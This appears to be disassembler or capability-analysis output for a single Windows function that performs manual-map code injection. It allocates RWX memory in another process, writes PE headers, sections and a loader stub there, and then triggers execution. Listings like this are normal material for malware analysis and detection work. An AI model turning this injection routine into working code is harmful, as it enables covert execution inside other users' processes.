Function at 0x401390
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
push 4
push 0x3000
push 4
push 0
mov dword [ebp - 0x30], esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x4013d9
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00406232
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [esi + 0x3c]
push 0x40
add eax, esi
push 0x3000
mov dword [ebp - 0x28], eax
push dword [eax + 0x50]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 0x34], edi
test edi, edi
jne 0x401420
push 0x8000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea eax, [edi + 7]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00406232
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp - 0x28]
push 0
push dword [eax + 0x54]
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401469
push 0x8000
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 8
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00406232
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov dword [ebp - 0x2c], 0
cmp cx, word [eax + 6]
jae 0x4014b6
lea ecx, [eax + 0x10c]
mov dword [ebp - 0x24], ecx
mov eax, dword [ecx]
push 0
push dword [ecx - 4]
add eax, esi
push eax
mov eax, dword [ecx - 8]
add eax, edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x24]
inc edx
add ecx, 0x28
mov dword [ebp - 0x2c], edx
movzx eax, word [eax + 6]
mov dword [ebp - 0x24], ecx
cmp edx, eax
jb 0x401484
push 0x40
push 0x3000
push 0x1000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, eax
mov dword [ebp - 0x24], edx
test edx, edx
jne 0x401508
push 0x8000
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 9
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00406232
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp - 0x28]
mov eax, dword [esi + 0x3c]
add eax, edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ecx + 0xa0]
add eax, edi
mov dword [ebp - 0x18], eax
mov eax, dword [ecx + 0x80]
add eax, edi
mov dword [ebp - 0x14], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
mov dword [ebp - 0x10], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x18
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x20]
push eax
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401584
push 0x8000
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0xa
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00406232
mov esp, ebp
pop ebp
ret 0xc
push 0x40
mov edi, fcn.004017c0
push 0x3000
sub edi, 0x4016b0
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov esi, eax
push 0x4016b0
push esi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x24]
add esp, 0xc
add eax, 0x18
mov dword [ebp - 0x2c], eax
push 0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push esi
push eax
push ebx
call edi
test eax, eax
jne 0x401604
mov esi, dword [ebp - 0x34]
push 0x8000
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0xb
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00406232
mov esp, ebp
pop ebp
ret 0xc
push 0x40
push 0x3000
push 0x40
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
mov esi, eax
push 0x90
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0x40
push esi
mov esi, dword [ebp - 0x34]
push esi
push ebx
call edi
test eax, eax
jne 0x40166d
push 0x8000
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0xc
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00406232
mov esp, ebp
pop ebp
ret 0xc
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
push dword [ebp + 0xc]
push ebx
call fcn.004017d0
push 0x8000
push 0
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406232
mov esp, ebp
pop ebp
ret 0xc